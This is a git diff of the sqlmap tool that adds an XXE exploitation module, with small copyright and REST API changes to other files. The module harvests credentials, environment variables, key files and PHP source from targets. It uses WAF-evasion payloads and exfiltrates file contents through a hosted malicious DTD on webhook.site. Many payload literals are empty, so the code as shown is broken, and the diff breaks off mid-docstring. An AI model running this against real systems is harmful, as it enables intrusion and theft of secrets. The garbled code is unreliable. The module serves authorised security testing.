+ stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL) + stripped = re.sub(r"", "", stripped, flags=re.DOTALL) + stripped = re.sub(r"]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL) + match = _ROOT_RE.search(stripped) + return match.group(1) if match else None + + +def _auxHeaders(): + """Send an XML content-type unless the user already pinned one (via -H/-r).""" + for name, _ in (conf.httpHeaders or []): + if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return None + return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"} + + +def _send(body): + """Issue one request with a fully-crafted XML body, preserving sqlmap's normal + request machinery (URL, cookies, headers, proxy, delay) for everything else.""" + + if conf.delay: + time.sleep(conf.delay) + + if _MARKER and not isinstance(body, bytes) and _MARKER in body: + body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) + page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("XXE probe request failed: %s" % getUnicode(ex)) + return "" + + +def _buildDoctype(xml, rootName, internalSubset): + """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. + A document may already declare a DOCTYPE - injecting a second one is invalid + XML and every parser rejects it, so we splice into the existing declaration + instead (into its internal subset, or by adding one to a subset-less DOCTYPE).""" + + existing = re.search(r"\[]*\[", xml) + if existing: + # Splice our declarations into the existing internal subset. + insertAt = xml.index('[', existing.start()) + 1 + return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] + + subsetless = re.search(r"\[]*>", xml) + if subsetless: + # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): + # add an internal subset before its closing '>' (both may legally coexist). + close = xml.index('>', subsetless.start()) + return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] + + doctype = "" % (rootName, internalSubset) + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + if prolog: + end = prolog.end() + return xml[:end] + "\n" + doctype + xml[end:] + return doctype + "\n" + xml + + +def _placeRef(xml, snippet, attrs=False): + """Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf + text node - not just the first - so detection does not depend on which field the + application happens to reflect. When `attrs` is set (internal-entity tier only), + also seed existing attribute values, since a general internal entity legally + expands inside an attribute (external entity refs do NOT - never seed attributes + for the external/XInclude tiers or the document becomes ill-formed). Falls back to + injecting just before the root's closing tag when there is no text node at all.""" + + if _MARKER and _MARKER in xml: + return xml.replace(_MARKER, snippet) # honour the user's explicit injection point + + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 + head, tail = xml[:start], xml[start:] + tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) + if attrs: + # Seed every attribute value except namespace declarations (xmlns / xmlns:*), + # whose rewriting would break the document. Only touches simple, entity-free + # values (the '[^"\'<>&]*' class) so we never corrupt existing markup. + tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', + lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail) + count += acount + if count: + return head + tail + + rootName = _rootName(xml) + if rootName: + close = "" % rootName + if close in xml: + idx = xml.rindex(close) + return xml[:idx] + snippet + xml[idx:] + # self-closing root: -> snippet + selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml) + if selfClose: + tag = selfClose.group(0) + opened = tag[:-2] + ">" + snippet + close + return xml[:selfClose.start()] + opened + xml[selfClose.end():] + return xml + + +def _fingerprint(page): + page = getUnicode(page or "") + for family, regex in XXE_ERROR_SIGNATURES: + if re.search(regex, page): + return family + return None + + +def _echoed(page): + """True when the response mirrors our markup back (a debug/echo endpoint that + never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration + we send, an echo would otherwise look like a genuine reflected/error hit. We match + the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and + percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is + still recognised as an echo regardless of whether decodePage normalised it.""" + page = getUnicode(page or "").lower() + for kw in ("!doctype", "!entity"): + for lt in ("<", "<", "<", "<", "%3c", "\\u003c"): + if lt + kw in page: + return True + return False + + +def _report(title, payload): + if conf.beep: + beep() + place = conf.method or HTTPMETHOD.POST + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + + +def _saveFileRead(remoteFile, content): + """Save an XXE-read file to the output directory (parity with '--file-read') and + return its local path, or None if it could not be written.""" + try: + return dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) + return None + + +def _dumpFileRead(remoteFile, content): + """Save a single XXE-read file and list it; fall back to a console dump if the + file cannot be written.""" + localPath = _saveFileRead(remoteFile, content) + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + + +def _harvestFiles(xml, rootName): + """Proactive, best-effort file harvest run once an in-band XXE read primitive is + confirmed: pull a curated set of high-value fixed-path files (host identity, + process env/secrets, key material) the way the other non-SQL engines auto-dump + their reachable data. Returns a list of (path, content, payload) for every file + that read back non-empty; unreadable/absent files are silently skipped. Content is + de-duplicated so a parser that resolves every missing path to the same stub cannot + masquerade as many distinct reads.""" + + harvested = [] + seen = set() + for path in XXE_FILE_HARVEST: + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip(): + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, payload)) + return harvested + + +def _phpFilterWorks(xml, rootName): + """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates + the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless + requests for it.""" + + from lib.core.convert import decodeBase64 + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + ent = randomStr(8, lowercase=True) + subset = '' % ent + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL) + if match and match.group(1).strip(): + try: + return bool(getText(decodeBase64(match.group(1).strip())).strip()) + except Exception: + pass + return False + + +def _harvestSource(xml, rootName, harvested): + """PHP-only follow-up run once an in-band read primitive is confirmed: disclose + server-side application SOURCE code via php://filter (source is executed, never + rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim). + Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ} + (running script + working dir) combined with common web roots/source names, and + de-duplicated against the host harvest by content. Skipped entirely on a non-PHP + target. Returns a list of (path, content, payload).""" + + if not _phpFilterWorks(xml, rootName): + return [] + + byPath = dict((p, c) for p, c, _ in harvested) + seen = set(getUnicode(c).strip() for c in byPath.values()) + candidates = [] + + dirs = [] + environ = getUnicode(byPath.get("/proc/self/environ", "")) + match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ) + cwd = match.group(1).strip() if match else None + if cwd: + dirs.append(cwd) + dirs += [_ for _ in XXE_WEBROOTS if _ != cwd] + + cmdline = getUnicode(byPath.get("/proc/self/cmdline", "")) + for token in re.split(r"[\x00\s]+", cmdline): + if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I): + if token.startswith("/"): + candidates.append(token) # absolute script path + elif cwd: + candidates.append("%s/%s" % (cwd.rstrip("/"), token)) + + for directory in dirs: + for name in XXE_SOURCE_NAMES: + candidates.append("%s/%s" % (directory.rstrip("/"), name)) + + logger.info("attempting application source-code disclosure via php://filter") + + result = [] + read = set() + for path in candidates: + if path in read: + continue + read.add(path) + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip() and getUnicode(content).strip() not in seen: + seen.add(getUnicode(content).strip()) + result.append((path, content, payload)) + return result + + +def _tryInternal(xml, rootName, baseline): + """T2 in-band: an internal general entity expands to the sentinel and is + reflected. Guarded by a negative control (sentinel absent from baseline) and + a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the + app merely mirrors the body without parsing entities).""" + + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, SENTINEL) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True) + page = _send(payload) + + if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: + return payload, page + return None, page + + +def _confirmRead(page, pattern, baseline): + """Return the first response line that matches a known file-content signature + and is absent from the baseline. The baseline guard is essential: it stops a + generic short reply (e.g. 'received', 'ok') from matching a loose pattern.""" + + baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines()) + for line in getUnicode(page).splitlines(): + line = line.strip() + if line and line not in baselineLines and re.search(pattern, line): + return line + return None + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target: place the external + entity between two random markers so the exact file content can be sliced out + of the response regardless of surrounding template. Raw file:// works for text + files; php://filter base64 (PHP) carries files with XML-special bytes. Returns + (content, payload) or (None, None).""" + + from lib.core.convert import decodeBase64 + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + for systemId, isB64 in ((_toSystemId(fileName), False), + ("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)): + ent = randomStr(8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + continue + data = match.group(1) + if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo + continue + if isB64: + try: + data = getText(decodeBase64(data.strip())) + except Exception: + continue + if data and data.strip(): + return data, payload + return None, None + + +def _tryExternalFile(xml, rootName, baseline): + """Impact demonstration once XXE is live: read a benign host-identity file via + an external general entity. Returns (systemId, payload) on a confirmed read.""" + + for systemId, pattern in XXE_IMPACT_FILES: + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + snippet = _confirmRead(_send(payload), pattern, baseline) + if snippet: + return systemId, payload + return None, None + + +def _tryPhpFilter(xml, rootName, baseline): + """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band + impact demonstration -> reads /etc/os-release; it deliberately never probes + /etc/passwd here (a specific file is read only on explicit '--file-read').""" + + from lib.core.convert import decodeBase64 + + baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) + for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),): + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, resource) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(payload) + for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)): + if token in baselineTokens: + continue + try: + decoded = getText(decodeBase64(token)) + except Exception: + continue + if decoded and re.search(pattern, decoded, re.M): + return payload + return None + + +def _tryError(xml, rootName): + """T3 error-based: a parameter entity points at a non-existent path carrying + the sentinel. Confirmed when the sentinel surfaces inside a parser error.""" + + subset = '\n%%xxe;' % SENTINEL + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, page + + +def _tryLocalDtd(xml, rootName): + """T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its + parameter entities to load a sentinel path, and read the sentinel back out of + the resulting parser error - no outbound network required.""" + + for dtdPath, entName in XXE_LOCAL_DTDS: + subset = ( + '\n' + "%xxe;'>\n" + "%%local_dtd;" + ) % (dtdPath, entName, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, "" + + +def _tryErrorExfil(xml, rootName, errorChannel=False): + """In-band error-based file EXFILTRATION: coerce the parser into an error whose + message embeds the target file's contents (not just a sentinel). Two vehicles: + (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on + the exfil service -> needs egress to fetch it plus verbose errors, so it is only + attempted when an error channel was already confirmed (else it is pointless and + just burns third-party requests). php://filter base64 carries a whole multi-line + file intact; raw file:// leaks the first line. Returns (content, filename).""" + + from lib.core.convert import decodeBase64 + + fileName = conf.get("fileRead") + if not fileName: + return None, None + marker = randomStr(10, lowercase=True) + # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) + reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True), + (_toSystemId(fileName), False)) + + def _extract(page, isB64): + pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) + match = re.search(pattern, getUnicode(page)) + if not match: + return None + if isB64: + try: + return getText(decodeBase64(match.group(1))) or None + except Exception: + return None + return match.group(1) + + # (a) local-DTD repurposing - no egress + for dtdPath, entName in XXE_LOCAL_DTDS: + for systemId, isB64 in reads: + inner = ('' + '">' + '%eval;%error;') % (systemId, marker) + subset = '\n\n%%local_dtd;' % (dtdPath, entName, inner) + content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64) + if content: + return content, fileName + + # (b) DTD we host on the exfil service - egress + verbose errors (third party): + # skip on a blind target (no error channel) and without explicit OOB consent + if not (errorChannel and _oobConsent()): + return None, None + from lib.request.webhooksite import WebhookSite + wh = WebhookSite() + for systemId, isB64 in reads: + dtd = ('\n' + '">\n' + '%%eval;\n%%error;') % (systemId, marker) + token = wh.newToken(dtd) + if not token: + break + content = _extract(_send(_buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(token))), isB64) + if content: + return content, fileName + + return None, None + + +def _tryXInclude(xml, rootName, baseline): + """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as + text. Confirmed when the file content appears in the response (baseline-guarded).""" + + for systemId, pattern in XXE_IMPACT_FILES: + snippet = '' % systemId + payload = _placeRef(xml, snippet) + confirmed = _confirmRead(_send(payload), pattern, baseline) + if confirmed: + return payload, systemId, confirmed + return None, None, None + + +def _tryEvasions(xml, rootName, baseline): + """T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail. + Each transform keeps the payload semantically identical while defeating a + common naive filter, so a reachable-but-filtered parser can still be caught. + Returns (title, payload) on a confirmed hit.""" + + # (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while + # ASCII byte-signature WAFs (grepping for "' % (ent, SENTINEL) + body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike + if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline: + return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body) + + # (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist + # the SYSTEM identifier; the second literal is still the resolved system id. + subset = '\n%%xxe;' % SENTINEL + body = _buildDoctype(xml, rootName, subset) + page = _send(body) + if SENTINEL in page and not _echoed(page): + return "Error-based via PUBLIC keyword (WAF evasion)", body + + return None, None + + +def _timed(body, timeout): + """One request, returning wall-clock seconds. ignoreTimeout keeps a stalled + parser from raising, so the elapsed time itself is the signal.""" + start = time.time() + try: + Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), + raise404=False, silent=True, ignoreTimeout=True, timeout=timeout) + except Exception: + pass + return time.time() - start + + +def _tryTimeBlind(xml, rootName): + """T6 last-resort blind detection with NO collector: an external parameter + entity aimed at a non-routable TEST-NET host stalls a fetching parser on the + connection. Confirmed only on a large, reproducible delay measured against a + DTD-processing control (an internal parameter entity, no fetch) - so DTD + overhead alone cannot trip it and only the outbound-fetch stall counts.""" + + control = _buildDoctype(xml, rootName, '\n%%c;') + baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout)) + threshold = baseline + XXE_TIME_THRESHOLD + probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3) + + # Bound each stalled probe: the per-call timeout kwarg does not reach a pooled + # socket, so cap via conf.timeout (the value the connection actually uses) and + # drop conf.retries so a stall is not re-sent. Restored in finally. + _timeout, _retries = conf.timeout, conf.retries + conf.timeout, conf.retries = probeTimeout, 0 + try: + subset = '\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + + if _timed(payload, probeTimeout) < threshold: + return None + if _timed(payload, probeTimeout) < threshold: # must reproduce + return None + return payload + finally: + conf.timeout, conf.retries = _timeout, _retries + + +def _oobEnabled(): + """False when the user opted out of OOB entirely (`--oob-server none`).""" + return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") + + +def _oobConsent(): + """True only when the user has opted into contacting a third-party OOB service: + either explicitly (`--oob-server `) or by answering the one-time prompt, + which defaults to NO - so '--batch' never silently phones a public service.""" + global _OOB_CONSENT + if not _oobEnabled(): + return False + if conf.get("oobServer"): + return True + if _OOB_CONSENT is None: + message = "do you want sqlmap to use a public out-of-band service " + message += "(interactsh/webhook.site) for blind XXE? [y/N] " + _OOB_CONSENT = readInput(message, default='N', boolean=True) + return _OOB_CONSENT + + +def _tryOobExfil(xml, rootName): + """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on + a public content+logging service (webhook.site), point the target's parser at + it, and read the file it ships back out. The DTD uses the classic nested + parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64 + so any file survives the callback URL. The DTD-fetch itself doubles as blind + detection. Reads conf.fileRead if given, else a benign default. Returns a dict + {payload, filename, content, detected} or None if the service is unusable.""" + + from lib.core.convert import decodeBase64 + from lib.request.webhooksite import WebhookSite + + fileName = conf.get("fileRead") + if not fileName: + return None + + wh = WebhookSite() + exfilToken = wh.newToken() + if not exfilToken: + logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") + return None + + marker = randomStr(10, lowercase=True) + # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a + # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive + # and webhook.site logs the raw request URL, which we regex back out. + exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker) + dtd = ('\n' + '">\n' + '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl) + dtdToken = wh.newToken(dtd) + if not dtdToken: + return None + + singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint) + payload = _buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(dtdToken)) + _send(payload) + + content, detected = None, False + pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker)) + for _ in range(OOB_POLL_ATTEMPTS): + time.sleep(OOB_POLL_DELAY) + for record in wh.captured(exfilToken): + match = pattern.search(getText(record.get("url") or "")) + if match: + try: + content = getText(decodeBase64(match.group(1))) + except Exception: + content = match.group(1) + break + if content: + break + if not detected and wh.captured(dtdToken): + detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil + + if not detected: + detected = bool(wh.captured(dtdToken)) + return {"payload": payload, "filename": fileName, "content": content, "detected": detected} + + +def _tryOob(xml, rootName): + """T7 blind confirmation via an out-of-band collector (interactsh): an external + parameter entity points at a unique callback URL. If the target's parser fetches + it (or even just resolves its DNS), the collector records the interaction and we + poll it back - definitive proof of blind XXE with egress, and it names the + channel (HTTP vs DNS-only). Returns (payload, protocol) or None.""" + + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)") + return None + + client = Interactsh(server=conf.get("oobServer")) + if not client.registered: + logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)") + return None + + singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server) + try: + url = client.url() + subset = '\n%%oob;' % url + payload = _buildDoctype(xml, rootName, subset) + _send(payload) + interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY) + if interactions: + protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions)) + return payload, ", ".join(protocols) + finally: + client.close() + return None + + +def xxeScan(): + global SENTINEL, _OOB_CONSENT + SENTINEL = randomStr(length=12, lowercase=True) + _OOB_CONSENT = None + + debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " + debugMsg += "in the request body and, once confirmed, automatically harvests high-value " + debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --dump) are ignored" + logger.debug(debugMsg) + + xml = _cleanBody() + if not _looksXml(xml): + logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')") + return + + rootName = _rootName(xml) + if not rootName: + logger.error("could not locate the document root element in the XML body") + return + + logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) + + baseline = _send(xml) + found = False # an actual impact/oracle (file read, error-based, XInclude, blind) + expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search) + + # T2: in-band reflected DTD/internal-entity expansion. This proves the parser + # processes entities but is NOT yet file-read impact, so it deliberately does NOT + # set `found` on its own - we first try to UPGRADE it to real file-read impact and + # then emit a SINGLE report block with the strongest confirmed vector and its real + # payload (one report per finding, as with the other non-SQL engines). The internal + # expansion is only reported on its own when no external-entity read is reachable. + payload, page = _tryInternal(xml, rootName, baseline) + if payload: + expansionSeen = True + logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") + + if conf.get("fileRead"): + content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead) + if content: + found = True + logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, readPayload) + _dumpFileRead(conf.fileRead, content) + else: + # No targeted '--file-read': proactively harvest a curated set of high-value + # files (data stays in the response, no third party) - the XXE analogue of + # the automatic dumping the other non-SQL engines do once confirmed. + harvested = _harvestFiles(xml, rootName) + if harvested: + found = True + firstPath, _, firstPayload = harvested[0] + # follow-up: server-side application source disclosure (php://filter) + harvested += _harvestSource(xml, rootName, harvested) + logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) + _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) + saved = [] + for path, content, _ in harvested: + logger.info("read remote file '%s' (%d bytes)" % (path, len(content))) + localPath = _saveFileRead(path, content) + if localPath: + saved.append(localPath) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content)) + if saved: + conf.dumper.rFile(saved) + else: + # Harvest read nothing (content relocated in the response, or only benign + # host-identity is exposed): fall back to the pattern-based impact proof + # so file-read impact is still confirmed. + systemId, readPayload = _tryExternalFile(xml, rootName, baseline) + if not systemId: + readPayload = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if readPayload else None + if systemId: + found = True + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) + + if not found: + # external entities are disabled (only internal expansion is reachable): + # report that weaker-but-real finding with its actual payload + _report("In-band DTD/internal entity expansion", payload) + + # T3: error-based (works where entities are not reflected but errors leak). A + # redundant detection channel once in-band reflection was already seen, so it is + # skipped then - the file-read *impact* tiers below still run to try to upgrade. + errorChannel = False + if not found and not expansionSeen: + payload, page = _tryError(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) + _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) + + # T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected) + if not found and not expansionSeen: + payload, page = _tryLocalDtd(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") + _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) + + # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request. + # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs + # both a confirmed error channel (pointless on a blind target) and OOB consent. + if conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName, errorChannel) + if content: + found = True + logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName) + _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) + _dumpFileRead(fileName, content) + + # T4: XInclude fallback (no DOCTYPE/entity control needed) + if not found: + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 + # variant re-detects internal-entity reflection, so it is redundant (and mislabels + # as 'evasion') once reflection was already seen - skip it then. + if not found and not expansionSeen: + title, payload = _tryEvasions(xml, rootName, baseline) + if title: + found = True + logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) + _report(title, payload) + + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host. + # Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow) + # blind tiers add nothing and would needlessly stall. + if not found and not expansionSeen: + logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") + payload = _tryTimeBlind(xml, rootName) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") + _report("Time-based blind (external entity to non-routable host)", payload) + + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only + # (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt). + # Low-impact callback confirmation is the default; actual file exfiltration is + # attempted only when the user explicitly asked for a file via '--file-read'. + if not found and not expansionSeen and _oobConsent(): + if conf.get("fileRead"): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + else: + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + + if not found: + if expansionSeen: + # in-band entity processing is real, but no external-entity/blind oracle was reachable + # (typically external entities disabled) - report honestly rather than overstate impact + logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established") + logger.info("XXE scan complete") + return + # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser + # from a merely non-reflecting one so the user knows why it did not fire. + probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) + if re.search(XXE_HARDENED_REGEX, getUnicode(probe)): + logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)") + else: + backend = _fingerprint(probe) + if backend: + logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend) + logger.warning("the XML body does not appear to be injectable via XXE") + return + + logger.info("XXE scan complete") diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 2a394f3821e..1a0794ec1db 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,6 +23,7 @@ from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import openFile +from lib.core.common import safeCompareStrings from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import unArrayizeValue @@ -43,7 +44,9 @@ from lib.core.dicts import PART_RUN_CONTENT_TYPES from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS +from lib.core.enums import CONTENT_TYPE from lib.core.enums import MKSTEMP_PREFIX +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict @@ -52,6 +55,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS +from lib.core.settings import RESTAPI_VERSION from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen @@ -77,6 +81,203 @@ class DataStore(object): username = None password = None +RESTAPI_READONLY_OPTIONS = ("api", "taskid", "database") + +# Reverse map CONTENT_TYPE int -> name (e.g. 2 -> "DBMS_FINGERPRINT"), for machine-readable reports +CONTENT_TYPE_NAMES = dict((v, k) for k, v in vars(CONTENT_TYPE).items() if not k.startswith("_") and isinstance(v, int)) + +# Task id used for the single-target CLI collector backing --report-json +REPORT_TASKID = 0 + +def _storeData(cursor, taskid, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): + """ + Records a single (status, content_type, value) result row into an IPC-style 